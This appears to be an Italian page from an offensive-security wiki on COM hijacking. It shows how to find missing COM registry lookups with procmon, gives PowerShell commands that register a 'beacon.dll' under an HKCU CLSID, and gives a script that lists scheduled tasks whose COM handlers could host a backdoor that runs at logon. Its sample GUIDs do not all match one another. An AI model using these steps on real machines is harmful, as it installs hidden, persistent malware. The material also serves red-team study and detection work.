COM Hijacking

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Ricerca di componenti COM inesistenti

Poiché i valori di HKCU possono essere modificati dagli utenti, COM Hijacking potrebbe essere utilizzato come un meccanismo persistente. Utilizzando procmon è facile trovare registri COM cercati che non esistono e che un attaccante potrebbe creare per persistere. Filtri:

Operazioni RegOpenKey.
dove il Risultato è NOME NON TROVATO.
e il Percorso termina con InprocServer32.

Una volta deciso quale COM inesistente impersonare, esegui i seguenti comandi. Fai attenzione se decidi di impersonare un COM che viene caricato ogni pochi secondi, poiché potrebbe essere eccessivo.

New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

Hijackable Task Scheduler COM components

Windows Tasks utilizzano Trigger personalizzati per chiamare oggetti COM e poiché vengono eseguiti tramite il Task Scheduler, è più facile prevedere quando verranno attivati.

# Show COM CLSIDs
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }

if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Task Name: " $Task.TaskName
Write-Host "Task Path: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}

# Sample Output:
# Task Name:  Example
# Task Path:  \Microsoft\Windows\Example\
# CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
# [more like the previous one...]

Controllando l'output puoi selezionare uno che verrà eseguito ogni volta che un utente accede ad esempio.

Ora cercando il CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} in HKEY_CLASSES_ROOT\CLSID e in HKLM e HKCU, di solito scoprirai che il valore non esiste in HKCU.

# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"

Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\some.dll
ThreadingModel : Both

# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize

Name                                   Property
----                                   --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler

# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.

Poi, puoi semplicemente creare l'entry HKCU e ogni volta che l'utente accede, il tuo backdoor verrà attivato.

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PreviousCreate MSI with WIX NextDll Hijacking

Last updated 4 months ago

New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll" New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

# Show COM CLSIDs $Tasks = Get-ScheduledTask foreach ($Task in $Tasks) { if ($Task.Actions.ClassId -ne $null) { if ($Task.Triggers.Enabled -eq $true) { $usersSid = "S-1-5-32-545" $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid } if ($Task.Principal.GroupId -eq $usersGroup) { Write-Host "Task Name: " $Task.TaskName Write-Host "Task Path: " $Task.TaskPath Write-Host "CLSID: " $Task.Actions.ClassId Write-Host } } } } # Sample Output: # Task Name: Example # Task Path: \Microsoft\Windows\Example\ # CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1} # [more like the previous one...]

# Exists in HKCR\CLSID\ Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}" Name Property ---- -------- InprocServer32 (default) : C:\Windows\system32\some.dll ThreadingModel : Both # Exists in HKLM Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize Name Property ---- -------- {01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler # Doesn't exist in HKCU PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.